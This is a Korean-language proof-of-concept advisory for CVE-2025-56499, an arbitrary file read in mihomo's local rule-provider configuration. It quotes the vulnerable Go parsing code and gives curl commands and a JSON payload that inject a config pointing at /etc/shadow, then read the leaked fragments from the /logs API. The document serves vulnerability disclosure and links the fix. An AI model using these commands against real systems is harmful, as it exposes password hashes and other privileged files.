
CVE-2025-56499에 대한 개념 증명 익스플로잇으로, mihomo의 rule-provider 구성에서 경로 검증 누락을 통한 임의 파일 읽기를 시연하며, 로그 기반 데이터 유출을 포함합니다.
로컬 룰 제공자의 경로 검증 부재로 인한 임의 파일 읽기
업스트림 수정: https://github.com/MetaCubeX/mihomo/pull/2177
영향받는 버전: mihomo <= v1.19.11
rule-providers 설정을 파싱할 때 type = "file" 분기에서 제공된 경로를 검증하지 못합니다. schema.Path를 제어하는 인증된 공격자는 제공자가 읽을 수 있는 모든 로컬 파일을 가리키도록 할 수 있습니다. 대부분의 임의 파일은 예상되는 룰 형식을 따르지 않기 때문에, 파싱 오류(상당한 파일 내용 조각 포함)가 메모리 로그에 기록되고 /logs API를 통해 노출됩니다. mihomo는 종종 상승된 권한(root/administrator)으로 실행되므로, 이로 인해 영향력이 높은 정보 유출이 발생합니다.
rules/provider/parse.go에서 schema.Type == "file" 케이스는 C.Path.Resolve()만 호출하고 C.Path.IsSafePath() 또는 이에 상응하는 허용 목록/샌드박스 제약 조건을 전혀 적용하지 않습니다.var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
파일 분기 결함:
/logs를 폴링 또는 스트리밍하여 파서 오류 출력을 캡처합니다.type = file과 대상 파일 경로가 포함된 악의적인 rule-providers 항목을 포함한 조작된 설정을 /configs를 통해 제출합니다.로그 수신 (예시 토큰 Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
/etc/shadow를 읽도록 설정 주입:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
이스케이프되지 않은 페이로드:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
결과: /logs의 파싱 실패 줄에 /etc/shadow의 조각이 포함됩니다 (예시 스크린샷):
